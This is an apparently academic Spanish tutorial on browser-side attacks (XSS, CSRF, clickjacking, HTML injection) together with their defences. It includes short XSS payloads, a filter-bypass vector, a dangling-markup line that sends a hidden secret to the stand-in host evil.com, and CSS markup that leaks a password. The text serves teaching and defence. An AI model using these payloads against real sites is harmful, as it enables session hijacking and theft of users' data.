TP6 por Pepe Vila (7 de enero de 2014)
"Client side attacks: the browser way."

0x0 - Indice

    0x01 - Introducción
    0x02 - XSS
    0x03 - CSRF
    0x04 - Clickjacking
    0x05 - HTML Injection
    0x06 - Conclusión

0x01 - Introducción

    Posiblemente la herramienta que más utilizamos cada día es un navegador,
ya sea Firefox, Chrome, Safari o Internet explorer. Y aunque tratemos de hacer
una navegación segura siempre vamos a estar expuestos a algunas amenazas.

Tanto desde el punto de vista del usuario que quiere saber que pasa cuando
navega, como desde del desarollador que quiere asegurar que su software sea
seguro, en los siguientes puntos voy a tratar de abordar las distintas 
vulnerabilidades y ataques que afectan a los clientes web a día de hoy.

He procurado hacer pocos supuestos sobre los conocimientos previos, así que
creo que todo el mundo debería poder seguir sin dificultad los puntos. Para 
aquellos con más conocimientos en los enlaces podrán encontrar referencias a 
documentos que profundizan más. En cualquier caso es la primera vez que escribo
un documento así, de modo que estoy abierto a críticas y sugerencias para 
mejorarlo.

Por último, espero también que este texto pueda servir de toma de contacto
para aquellos que quieran interesarse en este mundo. :)

0x02 - XSS

    + Overview    

    Los ataques de Cross-site-scripting han sido muy conocidos desde hace  
muchos años, el primer paper[1] sobre el tema es del año 2002 y todavía hoy
siguen siendo los más comunes (top 3) según OWASP[2]. Además, debido a la
tendencia de llevar todos los servicios a la web, cada vez son más peligrosos
ya que no solo ha aumentado la superfície de ataque sino que somos capaces de
realizar tareas y acceder a información mucho más crítica.

A resumidas cuentas, se trata de un ataque que explota la confianza de un
usuario en el servidor web, permitiendo ejecutar código Javascript en el 
navegador de la víctima bajo el contexto de su sesión en el dominio de la
web vulnerable.

Esto significa que el atacante será capaz de realizar cualquier acción que
pudiera realizar el usuario legítimo (a través de envíos de formularios o
peticiones ajax), acceder a cualquier información visible para la víctima,
robar sesiones y llevar a cabo una suplantación, modificar la apariencia de
la página para forzar al usuario a realizar acciones o para simplemente mermar
la reputación del sitio. En definitiva, las posibilidades son infinitas, basta
con ver el ejemplo de Samy[3], el primer gusano XSS que infectó más de 1 millón
de usuario de MySpace en menos de 24 horas (agregando a su autor como amigo y
replicandose a través de los muros de las víctimas).

En función de las técnicas y el entorno de explotación, se clasifican en
4 subgrupos: reflected, persistend, dom y mutated.

    + Reflejados

    La primera variante, y posiblemente la más fácil de evitar, son los
conocidos como XSS reflejados. El fallo radica en el incorrecto o inexistente
saneamiento de los datos de entrada del usuario: ya sean parámetros GET, POST,
cookies, cabeceras... Y que de algún modo son mostrados, o reflejados, en la
página.  

Veamos un ejemplo (se puede ver el código fuente de los scripts cambiando la
extensión por .phps):

    http://hendrix-http.cps.unizar.es/~a594190/xss/reflected.php?name=Manuelo

Como se puede ver, el servidor devuelve una página con el valor del parámetro
GET 'name' incrustado en el cuerpo (ver código fuente de la página), 
indistingible del resto del html que procesa nuestro navegador. De modo que
alguien podría tratar de insertar el siguiente valor:

    http://hendrix-http.cps.unizar.es/~a594190/xss/reflected.php?name=<script>alert(location)</script> 

Esto nos devolvería una página HTML con un tag script ejecutando la alerta. Y
del mismo modo, podría incluirse un script remoto que ejecute cualquier código
arbitrario. Aunque este es un vector muy simple de ejemplo, hay cientos de
formas de ejecutar Javascript en un navegador. Veremos algunas más adelante.

La manera de llevar a cabo el ataque consiste en forzar a la víctima a visitar
el enlace malicioso a la página vulnerable. Aunque muchas veces no hace falta
hacer click en un enlace, simplemente visitando una página que creamos
inofensiva, puede redireccionarnos o cargar en un iframe oculto la página con
el XSS y ejecutar el código malicioso.  

Desafortunadamente, no existe una solución única para evitar este tipo de 
ataques. Dependiendo de la aplicación, framework o lenguaje usado, vamos a tener
unas herramientas u otras, y unas necesidades determinadas. Y aún así,
dependiendo del contexto en el que se de la inyección, vamos a tener que
preocuparnos de unas cosas o de otras.

Vamos a ver 3 posibles contextos de ejemplo: HTML, atributo y event handler.
Pero teniendo en cuenta que hay muchos más. 

En el primero, que es el del ejemplo, va a ser necesario abrir una etiqueta
para poder ejecutar código, ya sea <script>, <iframe>, <img> ... De modo que
si codificamos la apertura de éstas '<' y '>', a priori no debería ser posible
explotar el XSS reflejado. Lo más habitual es usar las entidades HTML 
equivalentes, eso es: '<' = '&lt;' y '>' = '&gt;'. En PHP se suele utilizar la
función 'htmlentities()', que podemos ver en funcionamiento aquí:

    http://hendrix-http.cps.unizar.es/~a594190/xss/reflected2.php?name=<img+src=x+onerror=alert(1)> 

Es necesario leer la documentación de estas funciones y utilizarlas
correctamente, ya que omitir algún parámetro puede llevar a un mal filtrado y
por lo tanto a que el atacante logre su objetivo y evada nuestro filtro.

Otra solución puede ser eliminar directamente los carácteres peligrosos con una
expresión regular, pero hay que tener muy claro QUÉ es peligroso y DÓNDE.
Muchas aplicaciones utilizan sus propios filtros para bloquear o eliminar el
contenido peligroso, pero cualquier solución basada en listas negras va a
fallar. Y esto es un axioma cuando hablamos de seguridad web, especialmente
cuando hablamos de navegadores.

Existen también soluciones a nivel de firewall o WAF, que directamente buscan
patrones peligrosos de inyección en las peticiones y las bloquean si dan 
positivo (modsecurity para Apache por ejemplo). Pero nunca hay que confiar
completamente en estas soluciones y obviar así la seguridad y buen diseño de
nuestra aplicación. Hay que considerarlas simplemente como una capa de defensa
más a un buen diseño e implementación.

También hay que destacar las soluciones que han aportado estos últimos años los
principales navegadores. Filtros AntiXSS incorporados por defecto y que
pueden llegar a complicar bastante el trabajo a los malos, pero de nuevo no se
puede legar toda la seguridad en éstos. 

La última alternativa que se está empezando a extender y cubre tanto este como
otros tipos de ataques es CSP[4] (Content Security Policy). En este caso el
servidor solo tiene que devolver una cabecera con unas políticas definidas y
los navegadores se encargarán de restringir las violaciones (aunque como se ha
visto en algunos estudios[5], tampoco es una solución perfecta).

El siguiente contexto sería cuando se está dentro de un atributo, por ejemplo:

    <a href="/foo/[[INYECCION]]">Redirige</a>

En este caso, el atacante necesitaría inyectar unas comillas dobles para cerrar
el atributo, de modo que necesitaremos codificar o eliminar esas comillas. La
función de antes, tiene un flag que va a hacer eso precisamente, de modo que
leyendo la documentación conseguiriamos que '"' se convierta en '&quot;'.

Un último contexto, y bastante más peligroso, es cuando tenemos una inyección
en un atributo que es un evento:

    <a href="#" onclick="cargar('foo', '[[INYECCION]]')">Click</a>

En este caso hay varios aspectos a tener en cuenta. El primero es que estamos,
en contexto de script ya, es decir, si salimos del string podremos escribir 
directamente código.

    [[INYECCION]] = ',alert(1),'

Esto provocaría una alerta cuando el usuario haga click en el enlace. Podemos
pensar que convirtiendo las comillas simples y dobles a su entidad ya estaremos
seguros, pero:

    [[INYECCION]] = &apos;,alert(1),&apos;

También hará que se ejecute nuestro código, esto se debe a que el parser HTML
va a deshacer las entidades del atributo antes de pasárselas al motor
Javascript. Una posible solución, sería convertir los carácteres no
alfanuméricos a su representación hexadecimal y que:

    [[INYECCION]] = \x27\x2calert\x281\x29x2c\x27

Con estos 3 ejemplos, queda claro que resultará muy difícil definir una buena
solución adhoc basada en listas negras que funcione bien en todos lados. Y es
imprescindible tenerlo en cuenta cuando queramos diseñar un sistema seguro. 

    + Persistente

    Ya deberíamos tener una perspectiva más o menos clara de que es un XSS, y
como puede afectarnos como usuarios o como desarrolladores. El punto flojo del
anterior es que hay muchas alternativas para protegernos, y sobretodo que 
puede resultar más o menos fácil detectar si un script está siendo reflejado
de la URL u otro sitio. Además el atacante tiene la necesidad de que el usuario
navegue a su url maliciosa para lograr la ejecución.

Con un XSS persistente, lo que estamos consiguiendo es que sea la propia
infraestructura la que almacene nuestra inyección y la devuelva a los usuario
del mismo modo que el resto de contenido legítimo.

Pensemos en un sistema de comentarios, donde cualquier usuario puede comentar.
Estos comentarios serán almacenados en una base de datos o cualquier otro
sistema de persistencia, y el resto de usuarios verá ese contenido cuando
soliciten la página. Si logramos que nuestro comentario contenga un XSS, todos
los usuarios que visiten la página van a ejecutar nuestro código.

Aquí dejo un ejemplo muy simple para que jugéis (.phps para el fuente):

    http://hendrix-http.cps.unizar.es/~a594190/xss/persistent.php

En este caso, la solución pasa por aplicar los mismos procedimiento de antes,
pero la duda que surge es si filtramos la entrada del usuario, la salida de
la persistencia o ambas. En mi opinión, la única que tiene sentido es la
segunda.

La persistencia puede ser compartida por distintos servicios para distintas
plataformas, de modo que no tiene sentido almacenar un contenido filtrado por
su potencial peligro al visualizarse en un navegador web si va a verse a verse
a través de un email o de una aplicación móvil.

Del mismo modo, muchas plataformas fallan porque cada vez que se guarda un
perfil, por ejempo, se filtra el contenido y se guarda codificado, al editarlo
se nos muestra codificado y se vuelve a codificar, por lo que va creciendo
absurdamente de tamaño: '>' pasa a ser '&gt;', y despues '&amp;gt;' y despues
'&amp;&amp;gt;', etc.

Utilizar ambas es igual de absurdo y nos obliga a mantener una consistencia
entre la entrada y la salida. Lo que no es nada escalable.

Por eso hay que suponer no solo que cualquier entrada del usuario es peligrosa
y debe ser filtrada, sino que cualquier dato que obtenemos de persistencia y se
muestra al usuario a través de un navegador, puede ser potencialmente peligroso
incluso si el usuario no ha introducido ningún dato allí (como con una base 
de datos legada que no tenía filtros).

Piensa mal y acertarás. Codifica la salida convenientemente. 

    + DOM

    Si hasta ahora el problema venía del servidor o de como éste servía el
contenido incluyendo datos controlados por el usuario. Los DOM based dependen
solo del cliente, y son bastante más complicados de entender y de detectar
(sin buenos conocimientos de Javascript).

El DOM (Document Object Model) de una página, es la interfaz o API que usa el
navegador para representar, acceder y modificar los objetos. Entendiendo como
objetos, cualquier elemento de la interfaz: desde el título de la página a una
imagen o un botón.

Gracias al DOM, somos capaces de añadir contenido dinámicamente a una página a
través de Javascript, de asociar acciones a eventos como el click del ratón o
de redirigir la página a otro enlace (ya que el 'location' es un objeto más).

De modo que volvemos a tener el mismo problema que al principio, no podemos
confiar en ningún dato manipulable por el usuario, o lo que es lo mismo, los
'sources'. Y hay que vigilar cuando modifiquemos un 'sink', un punto crítico
que puede ser aprovechado para modificar el flujo o lógica del programa.

Hay una wiki[6] entera definiendo los posibles sources y sinks, así que no 
vamos a entrar en detalles. Un posible source, puede ser de nuevo la URL, y un
sink típico son las funciones 'eval' o 'write'. Podéis ver un ejemplo sencillo
aquí:

    http://hendrix-http.cps.unizar.es/~a594190/xss/dom.html#<img src=x onerror=alert(1)>

Una de las principales diferencias de la mayoría de DOM XSS, es que el servidor
no se va a enterar de que alguien está atacando a sus usuarios, ya que no le
llega ninguna petición anormal (en este caso la parte hash de una URL no se
envía) y además pueden verse afectadas aplicaciones web offline.

Si bien es cierto que algunas aplicaciones sobreescriben algunas funciones 
Javascript para enviar logs al servidor cuando son llamadas y así tener feedback
de lo que sus usuarios están haciendo. 

La solución a este tipo de ataques es a priori programar código seguro teniendo
en cuenta los sources y sinks, como bien hemos dicho. Y aunque hay algunos
papers con propuestas para erradicar los XSS a través del propio cliente,
todavía no hay ninguna solución global lo suficientemente extendida como para
considerarla. Básicamentemente la mayoría de las soluciones pasan por hacer un
sandbox y que no se puedan acceder a los objetos globales ni a los métodos o
constructores verdaderos, dejando disponible solo una pequeña API segura.

    + Mutantes

    Sobre esta última espécie hay poco escrito, y realmente es un caso muy
difícil de enteder y mucho más difícil de prevenir. Dejo una referencia al
paper[7] de Mario Heiderich para mayor detalle.

En esencia, consiste en utilizar las propiedades de innerHTML, atributo
ampliamente utilizado en muchos frameworks Javascript, que convierte un string
con código HTML en parte del DOM parseando las etiquetas y atributos. Para 
ayudar a los desarrolladores, el parser es poco estricto e intenta corregir
posibles errores, por eso, puede darse el caso de que una entrada teoricamente
inofensiva y que pasaría nuestros filtros, mute al introducirse al innerHTML y
nos de una salida maliciosa.

Un ejemplo del paper es el siguiente:

    Entrada: <img src="test.jpg" alt="``onload=xss()" />
    Salida: <IMG alt=`` onload=xss() src="test.jpg" />

Aunque estos vectores de ataque serán normalmente dependientes del navegador,
es interesante tenerlos en cuenta con la expansión de frameworks MWC para JS
como AngularJS.

    + Conclusión

    Durante bastante tiempo los XSS se han visto como un ataque de criticidad
baja y por ello los desarrolladores no ponían esfuerzos en solventarlos, sin
embargo, ya existe una cierta concienciación por parte de las grandes firmas
y la experiencia nos ha enseñado que no era así.
En este capítulo hemos podido ver una pequeña introducción de en que consisten
y algunos ejemplos, quedando claro que es bastante sencillo solucionar una de
estas vulnerabildades. Y en cualquier caso, el coste no será nunca mayor que el
de dejar a nuestros usuarios expuestos.
    
[1] http://www.cert.org/advisories/CA-2000-02.html
[2] https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
[3] http://betanews.com/2005/10/13/cross-site-scripting-worm-hits-myspace/ 
[4] https://developer.mozilla.org/en-US/docs/Security/CSP 
[5] http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
[6] https://code.google.com/p/domxsswiki/wiki/Introduction
[7] https://cure53.de/fp170.pdf


0x03 - CSRF

    + Overview

    Si hemos dicho que los XSS se aprovechaban de la confianza del usuario en
el navegador, en los CSRF[8] (Cross-Site Request Forgery) se aprovecha la
confianza del servidor en los usuarios.

El ataque consiste en obligar al navegador de un usuario a realizar una 
petición a una aplicación web, la cual realizará la acción pertinente creyendo
que se trata de una petición legítima de la víctima.

Esto va a funcionar gracias a la característica de los navegadores de enviar
las cookies (y por lo tanto el identificador de sesión) a un dominio, cuando se
realiza una petición de cualquier tipo.

    + Ejemplo vulnerable

    Supongamos un formulario para modificar nuestro perfil en nuestra red social
favorita. Tenemos un campo como biografía, y cada vez que le damos a guardar
desde la página "http://hendrix-http.cps.unizar.es/~a594190/csrf/pefil.php"
se envía una petición como esta :

    POST /perfil.php HTTP/1.1
    Host: hendrix-http.cps.unizar.es
    ... 
    Cookie: PHPSESSID=xxx

    biografia=Estudio+informática+y+me+gustan+los+animales

El backend comprueba que usuario ha realizado la petición a través de la sesión,
actualiza los datos y todo el mundo ya sabe que somos informáticos. Bien,
pues esta misma petición puede realizarse desde una página creada por nosotros
y alojada en cualquier sitio.

    http://fiddle.jshell.net/K2ysY/2/show/

Solo necesitamos rellenar los campos, la URL de destino y hacer el envío
automático con Javascript. Ahora hacemos que un usuario logueado en la red
social visite nuestra página y cuando realice la petición su navegador va a
añadir la cabecera "Cookie" y va a pasar exactamente lo mismo que hemos contado
antes.

En este punto estamos consiguiendo que un usuario normal modifique su perfil,
que escriba un comentario sin saberlo, que elimine a un amigo...
Pero la parte más interesante viene cuando podemos utilizarlo para escalar
privilegios. Por ejemplo, sabemos que nuestro usuario no tiene permiso para
eliminar otros usuarios, pero conocemos que el administrador realizaría una
petición GET /borrarUsuario.php?id=X. Podríamos incrustar una imagen con esa
dirección en un comentario y si el administrador lo lee va a ejecutar el 
borrado del usuario X. Así de fácil.  

Prácticamente cualquier página programada sin ningún framework o diseñador
que tuviera muy en cuenta que es un CSRF, va a ser vulnerable a este tipo
de ataque (top8 OWASP). 

    + Solución

    Aunque existen distintas soluciones, y hoy en día con las peticiones AJAX
y CORS ha cambiado un poco el panorama, en general consisten en añadir un token
o reto a la sesión que no pueda ser conocido a priori, apareciendo tan solo en
la página legítima desde donde se debe realizar la petición (normalmente como
un campo hidden en el formulario). 

Si al llegar una petición no va incluido el token que conoce el servidor, ésta
no se procesará y podemos detectar que se está produciendo un comportamiento
anómalo. Es conveniente que los tokens sean únicos para cada petición, es decir,
tras la correcta comprobación se generará otro aleatorio. 

Además, una buena política es que las peticiones GET no generen ningún cambio
en el servidor o backend, que se utilicen solo para lectura, y que se utilicen
solo las POST.
De este modo es muy fácil establecer una capa intermedia entre la lectura de
parámetros de un formulario que nos abstraiga de la comprobación de tokens.

Aquí dejo el ejemplo securizado mediante un token aleatorio:

    http://hendrix-http.cps.unizar.es/~a594190/csrf/perfil2.phps  

    + Otras soluciones

    Algunas páginas utilizan, o utilizaban, la cabecera "Referer" como validador
de una petición legítima. Esta cabecera devuelve la URL de la página de donde
viene la petición, pero existen varias técnicas[9] para suplantarla o a veces
incluso los usuarios la pueden omitir en su navegador para evitar ser traceados,
con que no es una medida segura y además limita la usabilidad.

También es posible enviar dos veces la cookie; una en la cabecera y la otra
como un campo del formulario, ya que en teoría solo el usuario legítimo va a
conocer ese valor. Sin embargo en caso de fuga de información se estará
exponiendo la sesión del usuario completa en lugar de un nonce (token de un
solo uso).

    + Conclusiones

    La idea detrás de este ataque es muy sencilla, y tener claro como y porqué
funciona es muy importante a la hora de diseñar nuestro sistema.

Como usuarios conviene no navegar con sesiones abiertas, hacer logout después
de usar una aplicación Web. O por ejemplo, utilizar dos navegadores; uno para
el correo y la red social donde tendremos nuestra sesión, y otro para navegar.
Existen plugins para abrir enlaces en otro navegador y otros para bloquear las
peticiones o redirecciones de una página.

Yo personalmente siempre recomiendo utilizar Firefox con NoScript, Request
Policy y Open With para las webs importantes, y Chrome para navegar libremente. 
Aunque puede resultar un poco incómodo al principio a usuarios poco avanzados,
es un hábito muy saludable.
 

[8] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
[9] http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html

0x04 - Clickjacking

    + Same-origin Policy

    El término "clickjacking"[10] fue empleado por primera vez en 2008 por los
investigadores Robert Hansen y Jeremiah Grossman. Y surge como una técnica para
saltarse las protecciones antiCSRF vistas en el capítulo anterior.

Para entender completamente como surge este ataque, es necesario comprender que
es el y el porqué del SOP (Same Origin Policy[11]). Aunque hay definiciones
distintas dependiendo de la tecnología o elementos usados (Flash, cookies,
Java...), vamos a centrarnos en el que al DOM se refiere.

Un origen queda definido por la tupla: protocolo, host y puerto. Por ejemplo,
el origen de la página http://domain.com/path/page1.html coincidiría con:

    http://domain1.com/otra.html
    http://domain1.com/fooo/bar.html

Pero no con:

    https://domain1.com/path/page1.html
    http://otherdomain.com/info.html
    http://domain1.com:8080/cuak.html
    http://sub.domain1.com/lololo/eee.html

Aunque en el último caso existiría una excepción ya que una página puede
cambiar el dominio de su origen a un sufijo. Es decir, podría definir su
origen a document.domain = 'domain1.com' y http://domain1.com/
podría acceder al DOM.

    + Iframes invisibles
    
    Como hemos visto, la defensa ante ataques de CSRF consiste en introducir
tokens de un solo uso en las páginas legítimas para que solo éstas puedan
realizar una petición.
Puesto que en la web prácticamente todas las acciones ocurren en consecuencia
de un evento (click en un enlace, pulsar enter, enviar formulario, etc.), los
ataques de clickjacking van a intentar forzar al usuario a hacer "click" en uno
de estos elementos de la página legítima, para generar una acción, sin que el
usuario se de cuenta.

Para ello utiliza los iframes, elementos HTML que permiten incrustar otros
documentos dentro de uno principal. La idea consiste en generar una página
atractiva que recomiende u obligue a hacer click en un parte, y mediante CSS
colocar un iframe invisible (opacity:0 o visibility:hidden) donde el elemento
que queremos forzar a ser pulsado quedará situado justo encima (esto se consigue
gracias al anclaje y el scrolling).

Un caso real podría ser colocar la página de Facebook en un iframe e intentar
que la víctima le de al botón de "me gusta". De hecho ha habido varios ataques
tanto a Facebook como a Twitter, y a muchos otros sistemas.

Siguiendo con el ejemplo anterior, vamos a modificarlo un poco para ver como
podríamos utilizar esta técnica para saltarnos la protección mediante token.
Este es el mismo escenario de una vulnerabilidad que existía en twitter.  

    http://hendrix-http.cps.unizar.es/~a594190/clickjacking/perfil.php?msg=lolololo 

El atacante simplemenet va a centrar el botón de envío de la página legítima de
modo que aparezca justo encima de un enlace, así la víctima creerá que hace
click en el enlace de una web cualquiera y en realidad estará llevando a cabo
la acción que nosotros deseamos:

    http://fiddle.jshell.net/K2ysY/4/show/

    + Solución

    Incialmente se trató de utilizar Javascript (los llamados Frame Busters)
para mitigar este tipo de ataques, detectando si la página actual estaba siendo
cargada en un iframe o en una ventana nueva (a través de los objetos window,
top, self, etc.). Sin embargo, esta solución solo sirve para documentos HTML
(ni txt, xml o json) y además es poco práctico ya que obligaba a añadir
scripts en todas las páginas. Pero el motivo de que se haya optado por otro
mecanismo es que existen varias técnicas para saltárse la protección en
determinados escenarios (ya sea por una mala implementación[13], utilizando DOM
clobbering, iframe sandboxing o los mecanismos AntiXSS de los navegadores).

La solución propuesta por Microsoft[13] y que ahora implementan los principales
navegadores es la de utilizar la cabecera X-Frame-Options[14], que indica al
navegador si debe renderizar o no la página cuando se encuentra en un iframe.
La ventaja es que permite configurarlo a nivel de servidor y no solo de la
aplicación y que cualquier documento servido a través de HTTP será tratado
según la política definida. 

De este modo, con añadir la siguiente línea a nuestra página, estaremos
evitando el Clickjacking así como otros posibles ataques[15]:

    <?php header('X-Frame-Options: DENY') ?> 

También contamos con soluciones en el lado del cliente como la protección
ClearClick de NoScript.

    + UI Redressing

   Mientras que un ataque de clickjacking trata, como su nombre indica, de
"secuestrar" el click de un usuario. Es posible, y existen implementaciones de
ataques, explotar cualquier interacción del usuario con la interfaz. Desde
las pulsaciones de teclado, hasta el movimiento del ratón o el arrastre de un
texto (drag and drop).

Con exploits más o menos complejos y un poco de ingenieria social, los atacantes
son capaces de crear pequeños juegos o formularios que solicitan al usuario una
serie de acciones (que a priori no parecen peligrosos) y que en realidad llevan
a que éste termine realizando una acción no deseada o exfiltrando información.

Otro ejemplo es lograr que la víctima explote un self-XSS, es decir, un XSS que
sin la interacción del propio usuario sería imposible de llevar a cabo.  

    http://www.youtube.com/watch?v=EIAXmkKei7s

En este video se puede ver la demo de un exploit que hice para explotar un XSS
en Google Translate, donde el usuario cree que simplemente rellena el típico 
captcha. En la segunda parte del vídeo se repite el proceso quitando opacidad
a los iframes para ver lo que realmente ocurre.

[10] http://www.sectheory.com/clickjacking.htm
[11] http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy
[13] https://www.owasp.org/images/0/0e/OWASP_AppSec_Research_2010_Busting_Frame_Busting_by_Rydstedt.pdf
[13] http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx
[14] https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options
[15] https://frederik-braun.com/xfo-clickjacking.pdf

0x05 - HTML Injection

    Las inyecciones de HTML son de los problemas más conocidos y persistentes
en las aplicaciones web. Y aunque hasta ahora la finalidad última de los
atacantes era lograr ejecutar Javascript para tener libre acceso al DOM, en
algunos casos veremos que podemos alcanzar los mismos resultados sin llegar a
ello[16]. Esto es una buena noticia para los atacantes, ya que las políticas de
restringir scripts inline que ofrece CSP mitiga la mayoría de ataques clásicos.

Bien, cuando explotamos un XSS lo más común es robar información sensible del
usuario: datos personales, tokens de seguridad (para poder forzarle a realizar
acciones, como hemos visto en el capítulo 3), cookies de sesión, etc.
En este último apartado vamos a ver algunos ejemplos de como conseguir esta
información sin necesidad de Javascript, existen muchas más técnicas
dependiendo del escenario, pero estás son seguramente las más generales y nos
sirven para entender el concepto:

    + Non-terminated markup

    La idea es extremadamente sencilla, dejando atributos abiertos podemos
forzar al parser a consumir una parte importante del HTML posterior a nuestra
inyección. La mejor manera es ver un ejemplo:

    ...
    <img src='http://evil.com/log?data=                         | inyección
    ...
    <input type="hidden" name="secret" value="123456">  
    ...
    '                                                            
    ...

Lo que sucederá es que el parser HTML al encontrar una comilla simple va a
tratar el resto del HTML como parte del atributo src hasta que encuentra otra
comilla que lo cierre, de este modo el navegador realizará una petición a la
imagen con la URL:

    http://evil.com/log?data=...<input+type="hidden"+name="secret"+value="123456">...

Filtrando el valor secreto a un servidor bajo nuestro control.

Existen multitud de métodos para conseguir el mismo objetivo usando distintos
elementos como formularios, redirecciones, links... Pero al final la idea es la
misma.

    + Hijack relative URLs with <base>

    Otro ejemplo un poco distinto consiste en usar la etiqueta <base>[17], que
nos permite definir la URL base para todos los enlaces relativos del documento.
Así un atacante podría cambiar todas las páginas de destino de los formularios,
las peticiones a imágenes (y mirar si existe información sensible en la
cabecera Referer) o en definitiva, cargar contenido de un servidor bajo su
control.

La única desventaja de los formularios es que vamos a necesitar que el usuario
haga click en el botón de envío o por lo menos pulse la tecla enter.

    + CSS magic

    Para terminar vamos a ver un ejemplo del potencial y la velocidad que tiene
CSS. Si pensabas que tan solo servía para definir estilos[18], preparate para
descubrir un mundo nuevo.

Aunque este ejemplo tiene poca practicidad debido al tamaño, ilustra
perfectamente de que es capaz. Y en cualquier caso sí ha habido casos reales de
páginas capaces de leer el historial de los usarios o hacer un escaneo a la red
interna con tan solo un poco de HTML y CSS.

Nuestro objetivo va a ser leer un password almacenado en una página, y que va
a quedar rellenado en un <input>. Para ello vamos a aprovecharnos de CSS y las
expresiones regulares del atributo "pattern".
Vamos a ver el código fuente y explicar lo que sucede paso a paso:

    http://html5sec.org/invalid/

Inicialmente vamos a calcular cuando mide el password, para posteriormente
elegir el número de elementos que vamos a necesitar. La clave tanto en este
paso como en el próximo es el selector "invalid":

    input:invalid {display:none}

Con esta regla estamos diciendo que cuando un campo no cumpla la expresión
del atributo "pattern" no se muestre. El HTML es el siguiente:

    <input type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".{0}"><b>Length:  <a href="?length=0">0</a></b>
    <input type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".{1}"><b>Length:  <a href="?length=1">1</a></b>
    <input type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".{2}"><b>Length:  <a href="?length=2">2</a></b>
    ...
    <input type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".{25}"><b>Length:  <a href="?length=25">0</a></b>

Así que solo vamos a ver la línea que cumple la longitud del secreto, con que
hacemos click y vamos a la siguiente página (esto es un ejemplo, el proceso
podría automatizarse y en lugar de decidir mostrar o no mostrar algo podríamos
enviar los datos a un servidor remoto).

Una vez sabemos la longitud vamos a realizar exactamente el mismo proceso, solo
que en lugar de ver la longitud la expresión regular provará todo el charset en
cada carácter:

    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern="a........................"><b>a</b>
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern="b........................"><b>b</b>
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern="c........................"><b>c</b>
    ...
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern="z........................"><b>z</b>

Con esta parte tan solo va a mostrarse (o enviarse a un servidor), la letra que
ocupa la primera posición. Ahora colocamos tantos elementos como la longitud de
la clave y listo:

    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".a......................."><b>a</b>
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".b......................."><b>b</b>
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern=".c......................."><b>c</b>
    ...
    <input class="letter" type="password" value="!?maGm!b9mb_44ta~ccnr~§g" pattern="........................z"><b>z</b>

Y con estas simples reglas podemos extrar información de un documento, gracias
a la potencia de los selectores CSS.

Existen muchos más ejemplos y mecanismos, como ataques laterales para sacar
información relativa de las sesiones de usuarios en otros servicios, pero no
vamos a profundizar más aquí.

[16] http://lcamtuf.coredump.cx/postxss/
[17] https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base
[18] http://p42.us/css/

0x06 - Conclusión

    Hemos visto como tecnologías ya conocidas que a simple vista pueden parecer
inofensivas, pueden ser utilizadas para llevar a cabo ataques y comprometer la
seguridad o privacidad de los usuarios de maneras muy distintas.

Por eso resulta imprescindible conocer en cierta medida estas amenazas y así
poder desarollar aplicaciones y servicios seguros. 

Mi objetivo no era que el lector fuera capaz de salir y empezar a explotar
vulnerabilidades en el mundo real, sino tan solo dar unas pinceladas de los
problemas reales existen para que el día de mañana sea capaz de buscar
soluciones. Al fin y al cabo ese es el trabajo de un ingeniero.

EOF